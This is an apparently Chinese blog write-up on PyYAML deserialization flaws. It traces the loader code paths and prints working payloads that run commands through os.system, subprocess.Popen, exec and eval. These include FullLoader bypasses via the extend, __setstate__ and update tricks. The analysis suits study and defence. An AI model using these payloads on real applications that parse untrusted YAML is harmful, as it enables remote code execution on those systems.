首页 > 其他分享 >PyYaml反序列化

PyYaml反序列化

时间:2023-10-12 23:23:11浏览次数:41  
标签:__ PyYaml name python object Loader yaml 序列化

PyYaml 反序列化

之前做题还是比赛的时候碰到过一次,不是很懂原理,最近整理成知识块出来。

PyYaml使用方法

!!标签用于描述yaml文件存储的数据转化为python对象的解析格式

import yaml
import os

poc1 = "!!python/object/apply:nt.system [calc.exe]"
poc2 = '!!python/object/new:os.system ["calc.exe"]'

yaml.load(poc1, Loader=yaml.Loader)
yaml.load(poc2, Loader=yaml.Loader)

调试

PyYaml < 5.1 的反序列化分析

1. python/object/apply

demo:

import yaml
poc1 = "!!python/object/apply:os.system ['calc.exe']"
# yaml.load("""
#!!python/object/apply:subprocess.Popen
#  - calc
#""")
yaml.load(poc1, Loader=yaml.Loader)

主要经过了construct_python_object_apply该函数进行构造

  • 在load函数中进行了Lodaer的加载,然后跟进get_singler_data

    image-20231012111421716

  • get_single_node返回node链表,然后再作为参数进入construct_document

image-20231012124044476

  • 然后在进入construct_object

image-20231012125502065

  • 重点关注constructor并进入

image-20231012125556568

  • construct_python_object_apply函数中,首先提取参数等。然后重点关注,find_python_instance函数并进入

image-20231012125710649

  • 重点进入find_python_name

首先提取了module_nameobject_name,然后使用__import__方法进行导入相应包

然后通过字典索引访问获取对应句柄:module = sys.modules[module_name]

最后通过getattr方法获取对应的方法

image-20231012140208112

  • 最后cls(*args, **kwds)执行函数

image-20231012113035087

2. python/object/new

import yaml
poc2 = "!!python/object/new:os.system ['calc.exe']"		# 
yaml.load(poc2, Loader=yaml.Loader)

对于new则进入相应的函数construct_python_object_new

image-20231012142341230

本质上还是在调用construct_python_object_apply

3. python/object

在漏洞利用上必须使用如下格式:

!!python/object: {..}

所以一般使用无参函数来执行

4. python/module:package.class

先部署恶意文件

image-20231012150346194

在相同目录下:

import yaml
poc = "!!python/module:evil"
yaml.load(poc, Loader=yaml.Loader)
  • 调用栈如下

image-20231012150732986

  • 主要区别是进入constructor之后,函数为construct_python_module

image-20231012151002894

  • 然后在find_python_module里导入相应的文件并且执行

image-20231012151120569

5. python/name

可以读一些关键的环境变量

secret = "flag_is_here"
# 获得__main__的符号表
poc = "!!python/name:__main__.secret"
exp = yaml.load(poc, Loader=yaml.Loader)
print(exp)
  • 对应的函数为construct_python_name

image-20231012152414889

  • 然后进入find_python_name,导入__main__,然后使用__import__导入并使用getattr获取参数

image-20231012152554859

PyYaml >= 5.1 的反序列化分析

1. 新增的机制

  • 关于Loader:

对Loader进行新增和划分

  1. BaseConstructor:没有任何强制类型转换
  2. SafeConstructor:只有基础类型的强制类型转换
  3. UnsafeConstructor:支持全部的强制类型转换
  4. Constructor:等同于 UnsafeConstructor

以及会在yaml.load的时候进行warn提示使用合理的loader

2. 受影响的函数和构造器

在使用UnsafeLoader和Loader的情况下,小于5.1的payload一般都可以使用

import yaml
exp = ".."
yaml.unsafe_load(exp)
yaml.unsafe_load_all(exp)           # return生成器
yaml.load(exp, Loader=yaml.UnsafeLoader)
yaml.load(exp, Loader=yaml.Loader)      
yaml.load_all(exp, Loader=yaml.UnsafeLoader)
yaml.load_all(exp, Loader=yaml.Loader)

3. Attack

1. FullConstructor-Attack

FullConstructor:除了 python/object/apply 之外都支持,但是加载的模块必须位于 sys.modules 中(说明已经主动 import 过了才让加载)。这个是默认的构造器。

整个调用流程与低于5.1版本的yaml反序列化过程差不多,主要是在find_python_name函数中有所不同

在不使用UnsafeLoader的时候,unsafe会取默认值为False。所以无法进行__import__

    def find_python_name(self, name, mark, unsafe=False):
        if not name:
            raise ConstructorError("while constructing a Python object", mark,
                    "expected non-empty name appended to the tag", mark)
        if '.' in name:
            module_name, object_name = name.rsplit('.', 1)
        else:
            module_namque = 'builtins'
            object_name = name
        if unsafe:			# FullLoader加载器无法运行这段代码
            try:
                __import__(module_name)
            except ImportError as exc:
                raise ConstructorError("while constructing a Python object", mark,
                        "cannot find module %r (%s)" % (module_name, exc), mark)
        if not module_name in sys.modules:		# 只允许加载sys.modules中模块
            raise ConstructorError("while constructing a Python object", mark,
                    "module %r is not imported" % module_name, mark)
        module = sys.modules[module_name]
        if not hasattr(module, object_name):
            raise ConstructorError("while constructing a Python object", mark,
                    "cannot find %r in the module %r"
                    % (object_name, module.__name__), mark)
        return getattr(module, object_name)

而且也会检查find_python_name的返回结果是否为type

image-20231012200459538

所以加载进来的getattr(module, object_name)必须是类,不能是函数

可以使用函数的情况来测试下:

payload:!!python/object/new:builtins.eval [“print(1)”]

import yaml

FailPoc = "!!python/object/new:builtins.eval [“print(1)”]"
yaml.load(FailPoc, Loader=yaml.FullLoader)

嘿嘿嘿,直接抛出异常了

image-20231012203737223

  • 可用payload
poc1="""
!!python/object/apply:subprocess.Popen
  - whoami
"""

poc2 = """
tuple(map(eval, ["__import__('os').system('whoami')"]))
"""
# 其中tuple可以换成list、map、set、Bytes、frozenset等
2. extend-Attack

这是在Boogipop的博客上看到的trick,甚是奇妙,有点”偷梁换柱“的美感

payload

!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "__import__('os').system('calc.exe')"

分析:

首先这是一个type类型,然后将extend参数设置为!!python/name:exec

最后是需要声明listitem,如果我们可以将extend的方法替换成相应的eval等,那么也就可以执行listitems中的内容了

image-20231012211848459

3. setstate-Attack、update-Attack

由第二种方法同理可以衍生出类似的方法,只需要寻找类似的模式即可:

image-20231012212412729

payload如下:

# 打instance.__setstate__
!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"__setstate__": !!python/name:exec }
state: "__import__('os').system('calc.exe')"
# 打slostate.update
!!python/object/new:str
    args: []
    state: !!python/tuple
      - "__import__('os').system('whoami')"
      - !!python/object/new:staticmethod
        args: []
        state: 
          update: !!python/name:eval
          items: !!python/name:list
update-attack:多层嵌套的反序列化

反序列化原则:由内到外

首先加载!!python/object/new:staticmethod

image-20231012223842364

由于设置了state,所以进入该函数内,为字典进行更新

此时该对象含有了键值对

update: !!python/name:eval
items: !!python/name:list

image-20231012224218427

然后加载最外层的str

image-20231012224835108

由于payload中设置了state参数,所以进入set_python_instance_state

首先先进行解包获得恶意代码state,由于str没有__dict__属性,所以绕过了hasattr,直接执行slotstate.update(state)

image-20231012230802352

PyYaml的5.2-6.0下的问题

高版本下这个洞就gg了

参考链接

  1. https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml/

  2. https://boogipop.com/2023/03/02/PyYAML反序列化/#YAML基本语法

标签:__,PyYaml,name,python,object,Loader,yaml,序列化
From: https://www.cnblogs.com/icfh/p/17760855.html

相关文章

  • Java序列化与反序列化
    ......
  • 又一个难题:Java 序列化和反序列化为什么要实现 Serializable 接口?
    作者:椰子Tyshawn来源:https://blog.csdn.net/litianxiang_kaola最近公司的在做服务化,需要把所有model包里的类都实现Serializable接口,同时还要显示指定serialVersionUID的值.听到这个需求,我脑海里就突然出现了好几个问题,比如说:序列化和反序列化是什么?实现序列化和......
  • Jackson--FastJson--XStream--代码执行&&反序列化
    Jackson--FastJson--XStream--代码执行&&反序列化Jackson代码执行(CVE-2020-8840)影响范围2.0.0<=FasterXMLjackson-databindVersion<=2.9.10.2不受影响版本FasterXMLjackson-databind=2.8.11.5FasterXMLjackson-databind=2.9.10.3漏洞利用POC:Stringjson......
  • Django-setting配置不当引起的Session反序列化
    Django-setting配置不当引起的Session反序列化在复现ez_py这道题的时候,翻到了p神19年写的一篇文章:https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html,特此做了下笔记漏洞成因漏洞成因位于目标配置文件settings.py下关于这两个配置项SESSION_EN......
  • AMQP消息转换器(指定消费者和发布者的数据序列化方式)
       ......
  • drf(序列化练习、user表练习)
    一.APIView版本1.models.pyfromdjango.dbimportmodels#Createyourmodelshere.classCommonField(models.Model):is_delete=models.BooleanField(default=0,verbose_name='True标记被删除的数据,False标记正常使用的数据')create_time=models.DateT......
  • 用pyyaml读取yaml文件做接口数据驱动
    importyaml##封装读取yaml文件类#classYamlconf:#def__init__(self,file_path):#"""file_path:yaml文件的路径"""#self.file_path=file_path#defload_yaml(self):#withopen(self.file_path,enco......
  • pyyaml 中文亂碼
    https://www.cnblogs.com/BlueSkyyj/p/12781752.html解决办法加入参数allow_unicode=Truefw=open(yamlFile,'a',encoding='utf-8')w=ryaml.dump(w,fw,allow_unicode=True)fw.close()......
  • Unity 通信方案 - 使用 Google Protobuf 序列化数据
    1.下载和编译1.1下载ProtoBuf源文件从github下载最新的protoBuf库,如下图所示 Releases·protocolbuffers/protobuf(github.com)1.2编译dll和导入解压后打开/scharp/src中的sln工程文件 选择Release,Google.Protobuf,之后在生成中生成文件在......
  • flink序列化类型验证
    flink支持的序列化类型官方支持javatuplesandscalacaseclassesjavapojosprimitivetypesregularclassesvalueshadoopwritablesspeclalTypes验证代码StreamExecutionEnvironmentenv=StreamExecutionEnvironment.getExecutionEnvironment();......